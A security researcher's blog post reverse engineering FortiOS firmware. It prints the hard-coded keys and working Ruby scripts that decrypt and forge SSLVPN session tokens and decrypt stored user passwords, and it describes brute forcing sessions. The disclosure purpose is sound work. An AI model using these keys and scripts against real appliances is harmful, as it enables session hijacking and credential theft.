Bad Crypto

After figuring out how to unpack the binaries in FortiOS (covered in my last post), I noticed most of the functionality is provided by /bin/init, and all other daemons are just symlinks to that one file. So I followed my first instinct and loaded it into IDA.

The first thing one notices is all the xrefs to strcpy and sprintf. Yeah, thar be 0-days. But let’s not get into that just yet.

After a bit of hunting for interesting OpenSSL function xrefs and looking for interesting strings, I noticed there are many hard-coded encryption keys. This isn’t a great practice, it means some aspects of the systems security are governed by “security through obscurity”. In other words, they’re hoping no one will check and see how it works under the hood.

Let’s start with SSLVPN. FortiGate has both web-based and thick client SSLVPN. From my Burp proxy logs, the authentication sequence goes something like this:

  1. The client browses to the FortiGate via HTTPS, and is redirected to /remote/login.
  2. The client issues a POST to /remote/logincheck and is redirected to stage 2 authentication, which appears to be a “host check”.  I’m guessing it has features to verify that AV is installed and that sort of thing.
  3. The host check URL is /remote/hostcheck_install.  It has a few parameters, some of which appear encrypted.

The interesting thing about the host check URL is that this is the URL that actually responds with the Set-Cookie header, issuing the user an authentication cookie. So if you can guess or brute force this URL, you get a valid session. Neat.

Let’s take a look at an example request:

GET /remote/hostcheck_install?auth_type=1&user=76706E75736572&&grpname=76706E&portal=66756C6C2D616363657373&&rip=172.16.8.1&realm=&sid=DB810DEC6F55E7863B389C8A8E2B8E0CD265F9F2162974722D8D8B19E9A54E6815CE6763091B0338CDAF1DFC8C2972AB22E974CCEA985EDB8FBF4A2BFFF935EFDD4DA4FED0DB331D37309435C539849B0D073607E6E1E2FDADFC21FF0E581004B9933266843629D80E90C9569D922920E489F82BF61869092FD538E57C67A6C2 HTTP/1.1

Okay, so the user, grpname and portal parameters are just hex encoded.  So user, for example, is “vpnuser” in ASCII. But what is the sid parameter?  Can we decode this?

As it turns out, I stumbled upon the code to decrypt the sid (and SVPNCOOKIE) by accident. I notice the string “c25*dc2$dgl#jp^” in the string table of the /bin/init binary, and my curiosity was peaked. After some extensive reversing, here’s some Ruby code to decrypt the sid values, and make new ones:

#!/usr/bin/env ruby
# encoding: binary

require 'openssl'

def get_cipher_key(s)
  sv_cookie_key1 = "\xdf\x19\x79\x86"
  sv_cookie_key2 = "\x38\xba\x40\xdf"
  
  sv_cookie_hkey = 
    "\xcd\xf1\xfb\x45\xdc\x85\x37\xba" +
    "\x9d\xce\x58\x45\xc7\xb0\x9e\x62" +
    "\x46\x2a\x2a\xb0\xec\x15\x5b\x5b" +
    "\x29\x2a\x02\x34\xe0\x7c\x92\xb5"
  	
  hmac = OpenSSL::HMAC.digest('sha1', sv_cookie_hkey, s)  
  ks = sv_cookie_key1 + sv_cookie_key2 + hmac[0,8]
  iv = hmac[0,16]
  [ks, iv]
end

def encode_sid(sid)  
  secret = "c25*dc2$dgl#jp^"
  sid += OpenSSL::HMAC.digest('sha1', secret, sid)
  
  cipher = OpenSSL::Cipher::Cipher.new('camellia-128-cbc')
  cipher.encrypt

  cipher.key, cipher.iv = get_cipher_key(secret)
  
  cookie = cipher.update(sid)
  cookie << cipher.final
  cookie.unpack('H*').join('').upcase
end

def decode_sid(sid)
  sid = sid.scan(/../).map { |x| x.hex.chr }.join
  secret = "c25*dc2$dgl#jp^"
  
  cipher = OpenSSL::Cipher::Cipher.new('camellia-128-cbc')
  cipher.decrypt

  cipher.key, cipher.iv = get_cipher_key(secret)
  
  cookie = cipher.update(sid)
  cookie << cipher.final
  cookie[0..-21]
end

puts decode_sid(ARGV[0])

You might be wondering — what’s up with the get_cipher_key function? I think this is their crude attempt at obfuscation. The translation to ruby is fairly literal, so I left this as is. But yes, they actually derive the key at runtime, to make my life a little more interesting.

If you run the script with a valid sid parameter as an argument, you should get similar output to the following:

0016FGVMEV00000000000007vpnuser0003vpn0011full-access0010172.16.8.100000&1&1441219811&1441219811

Neat. So it appears each value is encoded with a 4-digit length field, then the value. The vaules seem to be serial number, username, user group, portal name, IP address, some zeros (probably the realm), a “1”, and the epoch time stamp (twice). Wait… all of this is simple to brute force!

I’ll leave the implementation of a brute force script to the reader, but yeah, it works. There is very little entropy in the sid token. The serial number of a remote FortiGate is simple to obtain. Many of the self-signed certificates on the system set the CN to the serial number, so in most cases it’s as easy as “echo “” | openssl s_client -showcerts -connect <ip address>”.

If that doesn’t work, try spoofing a CAPWAP packet — but that’s a story for another day.

The unix epoch time can be iterated over the last hour or so, and the source address may be known if the target can be observed. NAT means that any person logging in via an airport of coffee shop network has a known source IP. And if you already have credentials to the VPN and just want to login as a different user (with more favorable permissions), it’s dead simple.

While that’s pretty cool, are there any other obvious examples of bad crypto? Another thing that caught my eye is encrypted passwords in the config. Now passwords for admin users are stored using a hash, albeit a weak one (Hashcat will crack the hashes that start with AK1), it’s still not simple to reverse. But take a look at the passwords for other system users:

config user local
 edit "vpnuser"
  set type password
  set passwd-time 2015-09-02 11:45:00
  set passwd ENC XR/8Zk1ztvCtvMCrFT661civgZ3XxLZR0aWUuKCMGYVOk0KXpo41RnA5w/jkY76FzX3bTVWaehMTMypDO0s68a2SVApPvWAUXJKJZsUrU0RKyxa279fBcvVuM6TVYFvOa/INexHo99zbneHEr2O14tyxt5RGLPlVobWMgpJuJTFF1b5UDSbRc5hoS1/4ERHvi+Vazg==
  next
end

It turns out these are reversible. You can tell because values such as IPSec PSKs (which need to be known in cleartext) are encoded this way. So after some more reversing, I figured out the encryption scheme:

#!/usr/bin/env ruby
# encoding: binary

require 'openssl'
require 'base64'

iv, text   = Base64.decode64(ARGV[0]).unpack("a4a144")
cipher     = OpenSSL::Cipher::Cipher.new('des-cbc').decrypt
cipher.key = "\x34\x7c\x08\x94\xe3\x9b\x04\x6e"
cipher.iv  = iv + "\x00" * 4

pass = cipher.update(text)
eos = pass.index("\x00")

if eos && eos > 0
  pass = pass[0,eos]
end

puts pass

If you run the code above with the base64 value from the config snippet above, it will decrypt to the value “password”.

The moral of the story is this: don’t use baked-in encryption keys. Use hashes (strong ones) when possible. If that isn’t possible, create keys from random numbers (with good entropy). If that’s not possible, derive keys from a configurable master pass phrase. But don’t ever bake it in and hope no one will reverse engineer your code.